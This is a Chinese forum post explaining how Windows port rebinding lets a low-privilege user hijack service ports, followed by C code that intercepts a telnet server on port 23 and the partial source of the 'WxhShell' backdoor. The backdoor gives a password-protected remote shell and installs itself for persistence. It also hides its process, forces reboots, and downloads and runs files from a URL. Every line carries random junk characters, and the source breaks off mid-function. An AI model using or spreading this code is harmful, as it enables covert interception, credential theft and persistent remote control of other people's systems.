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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ipD/dx.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WelB"L  
!bBx'  
  saddr.sin_family = AF_INET; ,In}be$:  
%\B@!4]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AGV+Y 6  
\hD jZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A5^tus/y  
~=t K17i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jm0v=m7  
"b[w%KYyl  
  这意味着什么?意味着可以进行如下的攻击: RA*W Ys&xb  
%I#[k4,N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ozkmZ;  
}8dS[-.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &Fh#otH_  
Yu: !l>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "H|hN  
]SL0Mn g8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xeW}`i5_w  
!Q=xIS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8F/JOtkGMt  
CD pLV:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MX s]3M  
Qsg([K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o{OY1 ;=6  
Eb89B%L62G  
  #include 9uW\~DwsZ%  
  #include \*\)zj*r  
  #include Rv|X\Wm  
  #include    Y(R .e7]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e VRjU  
  int main() =6xxZy[  
  { I*0TI@Lo  
  WORD wVersionRequested; :,Mg1Zf  
  DWORD ret; oT*qMLdn  
  WSADATA wsaData; j'q Iq;y  
  BOOL val; dCO)"]  
  SOCKADDR_IN saddr; 9Bi{X_.9  
  SOCKADDR_IN scaddr; p* tAwl  
  int err; o,_R;'\E[a  
  SOCKET s; ~JTp8E9kw  
  SOCKET sc; ,rWej;CzN  
  int caddsize; H",q-.!  
  HANDLE mt; !T~C=,;  
  DWORD tid;   5?-@}PL!Y  
  wVersionRequested = MAKEWORD( 2, 2 ); '<Jqp7$dL  
  err = WSAStartup( wVersionRequested, &wsaData ); kGW4kuh)/q  
  if ( err != 0 ) { xnPi'?A]  
  printf("error!WSAStartup failed!\n"); c. 06Sw*  
  return -1; 15CKcM6  
  } o$k9$H>Na  
  saddr.sin_family = AF_INET; 9_l WB6  
   X^)v ZL?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O9R[F  
@]@6(To  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e<r}{=1w  
  saddr.sin_port = htons(23); UOcO\EA+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #L 9F\ <K  
  { */y (~O6  
  printf("error!socket failed!\n"); p #Y2v  
  return -1; Q$8K-5U%  
  } &z?:s  
  val = TRUE; YOQ>A*@4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /7hC /!@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?k+>~k{}a  
  { OtZc;c  
  printf("error!setsockopt failed!\n"); ^(~%'f  
  return -1; agj_l}=gO  
  } pvYBhTz0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %IK[d#HO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WFG`-8_e[I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qgxpq{y  
-;j ' =?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;P9cjfSn  
  { Sq[LwJ  
  ret=GetLastError(); ` *q>E  
  printf("error!bind failed!\n"); 1s6L]&B  
  return -1; s_%KWkS  
  } ;- 6   
  listen(s,2); ~ ^*;#[<  
  while(1) :EV*8{:aLU  
  { l#fwNM/F  
  caddsize = sizeof(scaddr); 4x"9Wr=}  
  //接受连接请求 IM=3n%6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x`JhNAO>  
  if(sc!=INVALID_SOCKET) x@? YS  
  { D2]i*gs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LGq T$ O|  
  if(mt==NULL) `%Dz 8Z  
  { [(*?  
  printf("Thread Creat Failed!\n"); )<[)7`  
  break; 4x|\xg( l  
  } T,/:5L9  
  } CqR^w(  
  CloseHandle(mt); odh cU5  
  } nd,2EX<bE  
  closesocket(s); u#nM_UJe  
  WSACleanup(); GBYwS{4  
  return 0; nR8r$2B+t  
  }   74fE%;F  
  DWORD WINAPI ClientThread(LPVOID lpParam) qyL!>kZr@  
  { W]I+Rlv)U  
  SOCKET ss = (SOCKET)lpParam; v \dP  
  SOCKET sc; Hv-f :P O  
  unsigned char buf[4096]; wyB  
  SOCKADDR_IN saddr; 2Z+:^5  
  long num; 8c%_R23  
  DWORD val; 7'.]fs:  
  DWORD ret; A5go)~x\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'a G`qPB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IsiBn(1Z  
  saddr.sin_family = AF_INET; WB5M ![  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p(. z#o#  
  saddr.sin_port = htons(23); J~|:Q.Rt`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -lS(W^r4  
  { %r]V:d+  
  printf("error!socket failed!\n"); ?H!QV;ku  
  return -1; -+y3~^EYm,  
  } Xxr"Gc[  
  val = 100; sFw;P`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t6Nkv;)>@  
  { "f:_(np,  
  ret = GetLastError(); /kAbGjp0  
  return -1; m1Xc3=Y  
  } Ie(M9QMp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J+m1d\lBu  
  { ?*&5`Xh  
  ret = GetLastError(); " TC:O^X  
  return -1; RMlx[nsq  
  } q9(Z9$a(\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7X<#  
  { BMb0Pu 8  
  printf("error!socket connect failed!\n"); ;]>a7o  
  closesocket(sc); 4 {+47=n  
  closesocket(ss); ak\[+wQ  
  return -1; BG/RNem  
  } TGGbO:s3  
  while(1) G UK %R C8  
  { APyH.]mQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o]<J&<WM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }pKKNZ`[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q2"K!u]  
  num = recv(ss,buf,4096,0); 6|QIzs<Z-X  
  if(num>0) <=%=,Yk  
  send(sc,buf,num,0); $:D\yZ,  
  else if(num==0) 7*>,BhF#  
  break; 9\>{1"a  
  num = recv(sc,buf,4096,0); "EnxVV  
  if(num>0) nw0Tg= P  
  send(ss,buf,num,0); 84/#,X!=s  
  else if(num==0) 4wPP/`  
  break; C?g<P0h  
  } e17]{6y  
  closesocket(ss); 8aTo TA7JA  
  closesocket(sc); vG~JK[  
  return 0 ; !-4VGt&c,  
  } E.G]T#wt0  
,zh_-2^X  
MP~+@0cv  
========================================================== 5C-XQS1  
?~<NyJHN%  
下边附上一个代码,,WXhSHELL 5ljEh -  
Esf\Bo"  
========================================================== }$#PIyz  
P>'29$1'  
#include "stdafx.h" AE=E"l1]  
=l>=]O~h  
#include <stdio.h> meZZQ:eSl  
#include <string.h> 6foiN W+  
#include <windows.h> | CPyCM$  
#include <winsock2.h> { T?1v*.[  
#include <winsvc.h> NtkZ\3  
#include <urlmon.h> ^M+aQg%  
:(;ho.zz  
#pragma comment (lib, "Ws2_32.lib") t c{Qd&"(  
#pragma comment (lib, "urlmon.lib") ,%U\@*6=  
,3Nna:~f  
#define MAX_USER   100 // 最大客户端连接数 o_&Qb^W  
#define BUF_SOCK   200 // sock buffer !*o{xq   
#define KEY_BUFF   255 // 输入 buffer 4jC7>mE  
5 Q,j+  
#define REBOOT     0   // 重启 -fOBM 4  
#define SHUTDOWN   1   // 关机 } wx(P3BHD  
zZP&`#TAy  
#define DEF_PORT   5000 // 监听端口 Nb)Mh  
7,Y+FZ  
#define REG_LEN     16   // 注册表键长度 Nt687  
#define SVC_LEN     80   // NT服务名长度 T$Z}1e]  
`E |>K\  
// 从dll定义API rLA^ &P:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fi# 9L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &;U F,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zi<(>@z2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m,&2s-v  
py6O\` \  
// wxhshell配置信息 ysFp$!9Ux  
struct WSCFG { 4GS:kfti  
  int ws_port;         // 监听端口 M,we,!B0  
  char ws_passstr[REG_LEN]; // 口令 9/{ 8Y&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3*-!0  
  char ws_regname[REG_LEN]; // 注册表键名 h{^MdYJ  
  char ws_svcname[REG_LEN]; // 服务名 kb!W|l"PN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iYGa4@/uM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |][PbN D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nzb=h/;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (O/W`qo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rdH^"(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |}@teN^J*U  
~J >Jd  
}; |(uo@-U  
NRI[|  
// default Wxhshell configuration <g64N  
struct WSCFG wscfg={DEF_PORT, ~I]aUN  
    "xuhuanlingzhe", c_Iq!MH  
    1, v)nBp\fjxp  
    "Wxhshell", .g_^! t  
    "Wxhshell", _p<wATv?7t  
            "WxhShell Service", rd,!-w5  
    "Wrsky Windows CmdShell Service", ]ClqX;'weJ  
    "Please Input Your Password: ", "ZuA._  
  1, ;X+cS,h  
  "http://www.wrsky.com/wxhshell.exe", pv^:G;  
  "Wxhshell.exe" U"Y/PBs,  
    }; f]2;s#cu  
:\^jIKvZ  
// 消息定义模块 u ^M'[<{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Jh:~9L%='  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M$} AJS%8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Y3ZGRT  
char *msg_ws_ext="\n\rExit."; ^~s!*T)\  
char *msg_ws_end="\n\rQuit."; lInf,Q7W  
char *msg_ws_boot="\n\rReboot..."; hLT?aQLx  
char *msg_ws_poff="\n\rShutdown..."; `2y?(BJp  
char *msg_ws_down="\n\rSave to "; E`|vu*l7  
sIRfC< /P  
char *msg_ws_err="\n\rErr!"; z~/e\  
char *msg_ws_ok="\n\rOK!"; Dy{lgT0k  
xrkR)~ E  
char ExeFile[MAX_PATH]; 2`Ihrz6  
int nUser = 0; l!:L<B  
HANDLE handles[MAX_USER]; 6cOlY= bn  
int OsIsNt; hJ75(I *j  
UD Pn4q  
SERVICE_STATUS       serviceStatus; 9{Igw"9ck  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sx1OY0)s  
bd2QQ1[1vh  
// 函数声明 *]c~[&x5&  
int Install(void);  p+-IvU  
int Uninstall(void); aJ[|80U  
int DownloadFile(char *sURL, SOCKET wsh); i"mQ  
int Boot(int flag); 4j zjrG  
void HideProc(void); &d]@$4u$;  
int GetOsVer(void); w17CZa 6  
int Wxhshell(SOCKET wsl); A.(e=;0bu  
void TalkWithClient(void *cs);  vSo1WS  
int CmdShell(SOCKET sock); 8 EU/}Ym  
int StartFromService(void); gP>W* ]0r1  
int StartWxhshell(LPSTR lpCmdLine); r(rT.D&  
YUT I)&y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *a-KQw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w"L]?#  
-] G=Q1 1  
// 数据结构和表定义 u1>WG?/`  
SERVICE_TABLE_ENTRY DispatchTable[] = 8[#EC3  
{ )"_&CYnd  
{wscfg.ws_svcname, NTServiceMain}, Uy@:-NC)kn  
{NULL, NULL} t+M'05-U2  
}; D'#,%4P,e\  
b"Jr_24t3v  
// 自我安装 bk]g}s  
int Install(void) i?,\>LTG  
{ h~O^~"jc  
  char svExeFile[MAX_PATH]; O^_CqT%  
  HKEY key; %AA -G  
  strcpy(svExeFile,ExeFile); AqH GBH0  
E&)o.l<h|  
// 如果是win9x系统,修改注册表设为自启动 bmh@SB  
if(!OsIsNt) { =Z..&H5i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +W8kMuM!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]`|;ZQiD  
  RegCloseKey(key); %g69kizoWi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {U4{v=,!I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @X P_~ N  
  RegCloseKey(key); RFq=`/>dG  
  return 0; aO 2zD<d  
    } =L`PP>"rW  
  } <- R%  
} tH:?aP*2  
else { Z A}!Rzo  
Jgy6!qUn_  
// 如果是NT以上系统,安装为系统服务 j$4lyDfD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;u<F,o(  
if (schSCManager!=0) "]q0|ZdOwH  
{ ] #7baZ  
  SC_HANDLE schService = CreateService 99n;%W>  
  ( 5@n|uJA  
  schSCManager, ry+|gCZ  
  wscfg.ws_svcname, c?6(mU\x  
  wscfg.ws_svcdisp, \w-3Spk*  
  SERVICE_ALL_ACCESS, fc4jbPp:M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TQOJN  
  SERVICE_AUTO_START, ?"kU+tCxg  
  SERVICE_ERROR_NORMAL, M7#CMLy  
  svExeFile, @Ph'!  
  NULL, X?]Mzcu  
  NULL, WGo ryvEx  
  NULL, Hi U/fi`  
  NULL, ob/HO (h3  
  NULL (l/i#  
  ); ~/Y8wxg  
  if (schService!=0) Kr`.q:0GK  
  { Psm9hP :m  
  CloseServiceHandle(schService); yr)e."#S  
  CloseServiceHandle(schSCManager); m"o=R\C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a, `B.I  
  strcat(svExeFile,wscfg.ws_svcname); ;a[3RqmKW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k8cR`5 @PK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z*(OcQ-  
  RegCloseKey(key);  h}}7_I9  
  return 0; QwuSo{G  
    } \2Kl]G(w%y  
  } C*Q x  
  CloseServiceHandle(schSCManager); $>Gf;k  
} hJX;/~L  
} [?da BXS  
!_?HSDAj"n  
return 1; y }h2  
} V3axwg_  
YP{mzGdE&  
// 自我卸载 Rb <{o8  
int Uninstall(void) f Qw|SW  
{ UYpln[S  
  HKEY key; y;hco  
ePxf.U  
if(!OsIsNt) { ^(:na6C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o/!a7>xO4  
  RegDeleteValue(key,wscfg.ws_regname); N9z!-y'X  
  RegCloseKey(key); :k~ p=ko  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z7a @'+'  
  RegDeleteValue(key,wscfg.ws_regname); @2\UjEo~  
  RegCloseKey(key); _$v$v$74^  
  return 0; If|i `,Iy  
  } C+gu'hD  
} By<~h/uJ  
} g$8a B{)  
else { ;kVo? W]  
24Htr/lPCT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uJ,I6P~9  
if (schSCManager!=0) +jp^  
{ ET3+07  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 92*Y( >  
  if (schService!=0) eBW]hwhKzM  
  { 2f 9%HX(5  
  if(DeleteService(schService)!=0) { ^ X<ytOd5  
  CloseServiceHandle(schService); q,j` _ R4  
  CloseServiceHandle(schSCManager); |U="B4  
  return 0; >Wj8[9zf  
  } }5"19 Go?  
  CloseServiceHandle(schService); }iR!uhi#  
  } xCm`g {  
  CloseServiceHandle(schSCManager); a#,lf9M  
} +@#-S  
} ;'|t>'0_  
JZcW?Or  
return 1; jt",\%j  
} B 6,X)  
{7FD-Q[tS  
// 从指定url下载文件 hC2Ra "te)  
int DownloadFile(char *sURL, SOCKET wsh) q.RW_t~  
{ eadY(-4|I-  
  HRESULT hr; 79MB_Is]s  
char seps[]= "/"; %MN>b[z  
char *token; 9{{CNy p  
char *file; rjT!S1Hs  
char myURL[MAX_PATH]; {I"d"'h  
char myFILE[MAX_PATH]; skfFj&_T  
+JL"Z4b@R}  
strcpy(myURL,sURL); 3)qtz_,H/g  
  token=strtok(myURL,seps); 5nG$6Hw  
  while(token!=NULL) -"3<Ll  
  { jhSc9  
    file=token; `]g}M,  
  token=strtok(NULL,seps); uY=}w"Db  
  } YQ<O .E  
\9dC z;  
GetCurrentDirectory(MAX_PATH,myFILE); :+|os"  
strcat(myFILE, "\\"); ,LJX  
strcat(myFILE, file); _ ;_NM5  
  send(wsh,myFILE,strlen(myFILE),0); }\!38{&  
send(wsh,"...",3,0); 68jq1Y Pv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l=< :  
  if(hr==S_OK) Ot_xeg;7  
return 0; nA^UF_rD-  
else bi[gyl#  
return 1; {sL(PS.z  
h+h`0(z  
} Y: XxTa*  
QA&BNG  
// 系统电源模块 .pQ4#AJ  
int Boot(int flag) mam2]St"  
{ Af>Ho"i  
  HANDLE hToken; NI136P  
  TOKEN_PRIVILEGES tkp; KCkA4`IeM  
&Q"Ox{~W  
  if(OsIsNt) { T!N,1"r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ni[2 p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0UvN ws  
    tkp.PrivilegeCount = 1; ye)CfP=ID\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )0JXUC e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vxzOG?Xc:  
if(flag==REBOOT) { %vO b"K$X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =@>[  
  return 0; :n&n"`D~  
} )Aky:kM$  
else { j6KGri  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5? `*i"  
  return 0; .^S#h (A  
} Py[Z9KLX  
  }  CKv [E  
  else { iS^IqS  
if(flag==REBOOT) { |8b*BnS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xhIC["z5  
  return 0; 6* /o  
} p`3pRrER  
else { Z`5v6"Na  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?2;r#)  
  return 0; +_ HPZo  
} q8 ;WHfGf  
} ~)#JwY  
AoEG%nT  
return 1; E{*~>#+  
} 0k5;Qf6A  
6U k[_)1  
// win9x进程隐藏模块 eXI^9uH  
void HideProc(void) D^Bd>Ey4  
{ >uuP@j  
)IGE2k|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;Bo{.916  
  if ( hKernel != NULL ) c_]$UM[7L  
  { QUp()B1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YB h :  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oc;0*v[I  
    FreeLibrary(hKernel); gg(^:`+  
  } m Kwhd} V  
sY=fS2b#)  
return; zlmb_akJ  
} ANy=f-V  
>8~+[e  
// 获取操作系统版本 8W 9%NW3&  
int GetOsVer(void)  '._8  
{ #_}lF<k  
  OSVERSIONINFO winfo; ,>n 4 `A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Rhxib|<  
  GetVersionEx(&winfo); b<qv /t)$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2+Z2`k]AC  
  return 1; 1%|+yu1  
  else AA9OElCa  
  return 0; Z'PE^ ,  
} v6 DN:!&  
8@|_];9#.  
// 客户端句柄模块 |,j6cFNw  
int Wxhshell(SOCKET wsl) h[%`'(  
{ '+NmHu:q  
  SOCKET wsh; Zr_{Z@IpU  
  struct sockaddr_in client; F8?&Ql/hdz  
  DWORD myID; ,b=&iDc  
`,4"[6S  
  while(nUser<MAX_USER) Y'-BKZv!  
{ ZGa>^k[:  
  int nSize=sizeof(client); JY#IeNL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 kzytx  
  if(wsh==INVALID_SOCKET) return 1; M ]W'>g)G  
oYnA 3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GwV2`2  
if(handles[nUser]==0) VcT(n7  
  closesocket(wsh); EXg\a#4['  
else :k075Zr/#D  
  nUser++; 3@?#4]D{'  
  } UXoaUW L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `f}c 1  
;Yyg(Ex  
  return 0; * I`, L/  
} |x 2>F  
eb2~$ ,$  
// 关闭 socket %xf6U>T  
void CloseIt(SOCKET wsh) ZebXcT ,41  
{ ',`iQt!Lx  
closesocket(wsh); ~d ~$fR  
nUser--; JJq= {;  
ExitThread(0); s<|.vVi"  
} s"p}>BjMIC  
Gk*Mx6|N  
// 客户端请求句柄 qiiX49}{  
void TalkWithClient(void *cs) *nluK  
{ Miqu  
FD*`$.e3\  
  SOCKET wsh=(SOCKET)cs; b{s_cOr/  
  char pwd[SVC_LEN]; EYd`qk 3  
  char cmd[KEY_BUFF]; ]]Ypi=<'  
char chr[1]; QS,IM >Nr  
int i,j; 6gJy<a3  
,<%Y.x%4z[  
  while (nUser < MAX_USER) { |! i3Y=X  
}XWic88!~  
if(wscfg.ws_passstr) { li8l+5d q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S3i%7f^C?N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sAfSI<L_  
  //ZeroMemory(pwd,KEY_BUFF); L{ ?& .iA  
      i=0; "X g@X5BG  
  while(i<SVC_LEN) { _+N*4  
gfw,S;  
  // 设置超时 :Sk0?WU  
  fd_set FdRead; =|bM|8,  
  struct timeval TimeOut; ~4'e)g.hG  
  FD_ZERO(&FdRead); '0GCaL*Sd  
  FD_SET(wsh,&FdRead); @>B#2t&  
  TimeOut.tv_sec=8; G/J5aj[  
  TimeOut.tv_usec=0; 1Z6<W~,1OM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #+|{l*>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `QXO+'j4  
n'v[[bmu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yvs)H'n=  
  pwd=chr[0]; _-x|g~pV*  
  if(chr[0]==0xd || chr[0]==0xa) { 63QMv[`,  
  pwd=0; dE^:-t  
  break; Uc>kCBCd  
  } Ovv~ymj  
  i++; nZ>qM]">u  
    } ;U<;R  
tm@&f  
  // 如果是非法用户,关闭 socket q6f+tdg=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mg W0 ).  
} ^]( sCE7  
O;9u1,%w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Nd!+zE$Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ii%^z?'  
wUW^ O  
while(1) { E'j>[C:U  
0z #'=XWk  
  ZeroMemory(cmd,KEY_BUFF); [-_3Zr  
"}!|V)K  
      // 自动支持客户端 telnet标准   Urj8v2k  
  j=0; a$yAF4HR<  
  while(j<KEY_BUFF) { Hdw;=]-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~m8".Z"  
  cmd[j]=chr[0]; ;e4 15T  
  if(chr[0]==0xa || chr[0]==0xd) { z85%2Apd  
  cmd[j]=0; d&4 ve Lu  
  break; H<#M)8  
  } K#_&}C^-jY  
  j++; t6m3lq{  
    } :JH#*5%gQ:  
uf]S PG#/D  
  // 下载文件 7DDd 1"jE  
  if(strstr(cmd,"http://")) { 2 -72 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1fm4:xHH  
  if(DownloadFile(cmd,wsh)) JFH3)Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1K?RA*aj  
  else ~~a,Fyko2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4~xKW2*`K  
  } 1DgR V7  
  else { !iA 3\Ai"  
#%N v\ g;  
    switch(cmd[0]) { Y[)b".K  
  nF>41 K  
  // 帮助 "BT*9N=|  
  case '?': { 6!zBLIYFI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7'Z-VO  
    break; WD# 96V  
  } *o.f<OwOz  
  // 安装 V[ju7\>$Z  
  case 'i': { .2"-N5Z  
    if(Install()) })W9=xO~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SW5V:|/  
    else (rqc_ZU5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2(LF @xb  
    break; 0t*e#,y  
    } v+Eub;m   
  // 卸载 E|{(O  
  case 'r': { S&/,+x'c|  
    if(Uninstall()) $inlI_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GT.1,E ,Vw  
    else )U12Rshl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' ` _TFTO  
    break; m%zo? e  
    } L$L/5/  
  // 显示 wxhshell 所在路径 G0#<SJ,)  
  case 'p': { ;)~}/nR<a  
    char svExeFile[MAX_PATH]; Z$ ?(~ln  
    strcpy(svExeFile,"\n\r"); "5<:Dj/W  
      strcat(svExeFile,ExeFile); i>z_6Gax*[  
        send(wsh,svExeFile,strlen(svExeFile),0); eH HY.^|  
    break; a-e_q  
    } &~mJ ).*  
  // 重启 ^h\(j*/#X  
  case 'b': { <O Y (y#x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z8C~o)n9  
    if(Boot(REBOOT)) L0l'4RRm\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .RNY}bbk  
    else { '9{`Czc(Gb  
    closesocket(wsh); \SSHjONX  
    ExitThread(0); Gj_7wP$  
    } )]}G8A  
    break; QPX&P{!g  
    } d| #&j. "  
  // 关机 BG|m5f  
  case 'd': { r7)qr%n  
